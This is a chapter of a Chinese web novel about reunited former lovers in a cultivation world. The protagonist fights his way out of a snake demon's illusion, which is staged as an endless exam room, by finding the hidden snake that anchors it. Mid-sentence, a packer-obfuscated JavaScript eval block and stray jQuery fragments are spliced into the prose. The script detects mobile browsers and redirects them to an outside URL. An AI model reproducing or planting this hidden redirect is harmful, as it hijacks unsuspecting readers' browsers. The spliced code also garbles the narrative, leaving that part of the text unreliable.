13.第 13 章

作品:《和前男友在修真界破镜重圆

    呼——


    连舒猛地抬头,身体好似处于一种长时间紧绷的状态,陡然放松后肌肉都在微微颤动。他双臂下意识打直,手肘蹭过放在一边的黑笔,哐当一声,细微的动静瞬间强迫性扯过了连舒苏醒时恍惚的眼神。


    他现在在哪?在做什么?


    连舒只觉得自己做了场诡谲的梦,可梦境中的诸多细节已模糊不清,只是残留的心悸还在大脑中作祟,让他难以集中注意力。顶着被广播叫醒时闷出的冷汗,连舒剧烈喘息,身体从控制不住的颤抖到隐隐发酸。


    肢体上的触感传递到被麻痹的神经后,四周的动静才慢悠悠挤进耳朵里。


    笔尖和卷子的摩擦、纸页翻动的簌簌响声……静谧中透着难言的压抑,连舒转头才看向旁边,上方就传来阴冷的呵斥:“请考生注意自己的试卷,不要乱动乱看。”


    连舒本能地循着声音望去,发木的眼神落在分叉的蛇信子上。


    黑色短衫的领口处挂着的是一颗三角蛇头,蛇头的鳞片花纹格外别致,是一双双令人头皮发麻的竖瞳,而占据蛇头一半面积的独眼却闭合着,沙哑的声音同红色信子一齐暴露在空气中 ,可连舒的大脑只是短暂地爆发出轰鸣警报,下一秒,警报声与心脏一并诡异地平静下来。


    他似乎没瞧出哪里不对,点点头后习以为常般垂首看着自己的桌面。


    空白的的试卷上只写了姓名班级和准考证号,最上方印着科目和考试时间,连舒不明白自己为什么会在高考这么重要的场合里睡着,眼见只剩下十五分钟,那颗平稳的心脏在回过神后都快从嘴里蹦出来。


    砰砰砰!


    急促的鼓点不断敲拍着心口。


    他浑身紧绷地拿起笔,手心出汗几次打滑,黑色笔尖在演草纸上写写画画,可定睛一看,却是毫无意义的杂乱线条。


    “离考试结束还有五分钟——”


    连舒嘴唇微动,不敢置信地抬头想要看教室上方的挂钟,可对上的只有嵌在墙体内眨动的血红色蛇瞳。视线碰撞的那一刻,前额又爆发一阵自救的刺痛感,可连舒满脑子都被白卷塞满,顾不得其他开始胡乱答题。


    时间一分一秒地流逝,这五分钟却好似五个世纪一般漫长。


    他不知道做了多久的试卷,表情也变得恍惚麻木,不复最初的疑惑和紧张,似乎适应了一场接着一场的考试。


    惨白的试卷上黑色的符号扭动盘踞,顺着笔尖游弋至他的指尖、胳膊,随后是脆弱的脖颈和脸颊……


    啵。


    洁白的墙壁好似瞬间有了生命力,平整的墙面凹陷、旋转,随后一团被血管包裹的肉瘤从里鼓动而出,肉瘤如同心脏一般律动,里头好似有什么东西挣扎着要出来。


    啵!


    白色的墙壁上,肉瘤兀地炸开,横飞的碎肉散落一地,一颗眨动的蛇眼顶替了肉瘤的位置。


    连舒混沌的大脑里,似乎响起了模糊的吵闹声。


    “……醒。”


    他失去焦距的双眼在某瞬间有了些微神采,连舒停下动作,看着晃出残影的手臂,下颚的汗珠低落在试卷上,他忽地又想,五分钟还没到吗?


    外面的天色不知何时变得幽暗,教室刺眼的白炽灯闪烁不休,在他失神间迸发出一道诡异的红光。


    “离考试结束——”广播声滋滋响起,铭刻在灵魂中的紧迫感倾轧而下,连舒顾不得外面的天色是黑是白,本能低头,可下一秒,他的脑海中却闪现过自己从未看见过的画面。


    “我遇见了会怎么样?”


    他看不清自己的模样,视线里只有越明商不以为意的笑脸。


    他打扮得飘逸俊朗,脸部线条也显得格外成熟,连舒嘴唇翕动,因为尝试挖掘这段回忆的大脑如扒皮掀骨的疼,他咬紧牙关双手紧紧捂着脑袋!


    越明商的嘴唇好似在镜头的移动下放大数倍,连舒一眨不眨地盯着,竭力保持神志清醒,可还是听不见一丝声响,只是在唇舌的缓慢变动里,他读懂了其中的一小截。


    “……那东西……花里胡哨……幻境……”


    【那东西最难缠的就是它的致幻能力,你可以将那些看作一场场因人而异变换的幻阵,越是花里胡哨的开大,往往越容易阻截。说白了那就是幻阵,要么用蛮力破开,修为不足那就找到阵眼。】


    越明商的声音渐渐从黑暗深处传来,连舒死死瞪着虚空,双眼充斥着血色,手上的笔不断写着刚才短暂回忆起的交谈内容。


    阵眼、阵眼、阵眼……


    他不断写着这两个字,可头脑没有变得更加冷静,仿佛被什么看不见的存在注视,理智岌岌可危,甚至越明商的声音再次被压制!


    “离考试还有——考试——离考试——”


    广播的滋滋声不断催促着,在寂静的教室内显得说不出的阴寒瘆人。


    连舒手腕一僵,他看着试卷上游动的线条,仿佛第一次看清这东西的存在,手背上爬行着自己写下的文字,而毫无威胁性存在感的文字却在接触到活肉的瞬间变得狰狞活跃!


    肌肉在萎缩,骨头在膨胀,血管里好似游弋着无数触手——连舒猛地掷出黑笔,砰地一声双手撑在桌面站起身!


    四周的蛇头都幽幽转看他的方向。


    窗外天色被浓稠的黑色包裹,连舒大口呼吸,但还是压抑不下癫狂的心跳。他侧头下意识想要看向窗外寻求一点带着温度的阳光时,却好似看见了什么过分恐怖的东西,身体顿时僵硬如铁,神色从惶惶到惊恐,本就刺痛难耐的大脑宛如被人狠狠敲了一榔头,浑身的血液都在瞬间倒流。


    砰——砰!


    强劲有力的跳动声重击耳膜,连舒难以置信地抚摸上自己的脸颊,瞪大双眼死死看着室内玻璃上的投影。


    指腹触碰到脸颊的一瞬间,传递至大脑的触感不是温热的血肉,而是鳞片的坚冷。


    投影的自己脖子以上挂着的不是正常人的大脑,取而代之的是一颗黑色蛇头。陌生的阴冷绞缠住连舒的手指,而玻璃窗上,属于自己不可置信的眼神静静从蛇头上的独眼里倾泻而出……


    是哪里出了问题?


    我是谁?


    我在哪?


    哪种我是正常的?


    无数的问题充塞入快要崩溃的大脑,他的身体摇摇欲坠,似乎下一刻就要失去意识,视野中有无数摇晃的竖瞳在注视自己,而越明商的声音宛如一股轻飘飘的风,偶然间吹拂至他的耳畔。


    “……找到阵眼。”


    “找到它。”


    *


    构建的幻境里,几具尸体倒在血泊之中。


    粘稠腥臭的鲜血从指尖悬滴而下,连舒面无表情地从身前“监考老师”的眼眶里抽出黑笔,喷溅而出的血液他已经没有力气躲避。


    墙壁上已经只剩巴掌大的面积还未被污染,四周艳红色的竖瞳森然地将他杀死一条又一条人蛇的画面收入眼底,每杀一个,墙体上的肉瘤就开始疯狂繁殖生长。


    连舒手臂抑制不住地生理性痉挛打颤,他弓着身体气喘吁吁,嘴唇不断翕张,神经质地反复念诵越明商的话语。


    【阵眼要怎么找?】


    昨晚的自己饶有兴趣地翻看记载着幻阵的竹简,一面询问对面的越明商。


    【我曾经好奇过,仗着原主的修为只身偷溜进明演山禁地找到了夫妻蛇的蛇窝,随便跟一只眼睛对上,顷刻就进入它为我构建的幻阵。】越明商冲着连舒招手,不怀好意地反问他,【你知道我在那幻阵里看到什么了吗?】


    连舒摸着下巴:【看到我了?】


    【别闹!】越明商无语地撇撇嘴,【我看到玄明了,不是我,是真


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15508373|169322||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    正的玄明仙尊。】


    【幻阵调动入阵人的内心恐惧、爱恨……总而言之就是极端的情绪,我看见自己在巽衍宗的藏书阁。】


    【玄明来到的是放置禁书的藏书阁顶层,我睁开眼就看见玄明背对我,手心漂浮着金色玉简,玉简上层层叠叠的禁制符文都能被现代人骂一句光污染,后来我反应过来,那是玄明查阅殷玉真人和妖皇一战残影的那一天。】


    【话扯远了,反正幻阵是利用人的情绪构建幻境,要你陷入欲望、恐惧、不甘或者嫉妒……但是每一场幻阵对应一枚蛇鳞,而每场幻境的阵眼都是一条真蛇。】


    越明商兴冲冲地对着连舒比划当时自己捉住的蛇:【就我小拇指长短粗细,没什么杀伤力,就躲在浩如烟海的典籍中,身上没有灵气,又和幻阵融为一体,我用神识扫描都没发现它的所在之处,最后气得我直接掀了整座藏书阁才把它找到。】


    真蛇。


    连舒疲惫地抬眼,看着地上血流如注的蛇人,身体和灵魂上都涌现出一股无力感。


    他将所见的蛇人都杀了一遍,可幻觉丝毫没有消散的趋势,还要杀谁?


    他思绪钝钝地凝望着玻璃反光下自己的投影,呢喃道:“难道要杀的是我?”


    随着精力的流逝,他能清楚感知自己的理智在被幻境污染,偶尔瞥见玻璃上的蛇头,他竟然会为自己对它产生的惊恐而感到疑惑,仿佛自己天生就长这样。


    有什么声音从空气中顺着双耳钻进大脑,一点点在改造他的意识,连舒缓缓将笔尖对准了自己颈间的脉搏……


    教室里,还活着的、未被杀死过的,只有自己这条蛇。


    “离考试结束……”不知道听过多少次的话这次从凭空出现的新监考老师嘴里说出,红色信子嘶嘶地兴奋摆动,连舒的双眸微垂,直勾勾盯着那分叉的舌尖缄默不语。


    他的呼吸在某一刻蓦地低沉急速,手上的黑笔啪嗒掉落在脚边,连舒双手攥紧,脖颈上鼓出的血管昭示了主人情绪的濒临崩溃。


    连舒猛然抬手朝着嘴里探去!


    余光中,他一直没有看见过自己的信子。


    指腹按压而下,触碰到的不是分叉的蛇信亦或者温软的人舌,而是和脸颊同样坚硬的触感,两指宽扁平的小蛇一直安静地躺在他的口中,诡异又荒唐地佯装成自己原本的舌头!


    在这个念头停驻的瞬间,连舒就控制不住弯下腰反胃干呕,眼眶也酝酿出生理性的水光,但是更紧切的是小蛇仿佛察觉自己伪装失败,开始往内滑动!


    他硬生生忍下胃袋抽搐的恶心感,自己的双指没有从嘴中拿出,在感知到它意图的瞬间就死死遏住蛇头,不容抵抗地强行将整条小蛇连根拔出!


    喉咙在失控地痉挛,细而短的蛇身被狠狠扯出重摔而下!连舒赤红着双眼抗拒地垂眸,手上却攥紧尖物毫不留情地对着地上的小蛇直戳而下!


    噗嗤、噗嗤——


    紧绷的手臂已经失去控制,一次次戳进血肉,周遭四面长出的蛇眼一个个爆裂开来,迸出的血浆流泻一地。连舒头也不抬,双眼失去焦距,仅剩下躯体在自我行动。


    直到四周扭曲,从躯壳里拽出的意识回到原处,他才似溺水之人重新吸入空气。


    呼——


    随着心口颤动,连舒紧闭的双眼遽然睁开!


    来不及环顾周遭,他争分夺秒地摸了摸自己的脑袋,察觉触感是正常人的温热后,又心惊胆战张开嘴探向唇舌……直到一切正常,他紧绷的头皮才一寸寸松缓。


    连舒脱力地倒退几步倚靠在树干上,这才有心思费力试图看清四周。


    强烈的爆炸余波已经不能牵动他丝毫的情绪,不知道自己的身体被谁所救,周围已经不是失去意识前所在之处,而那条让他遭了老罪的幻海梵蛇在数百米外甩动蛇尾。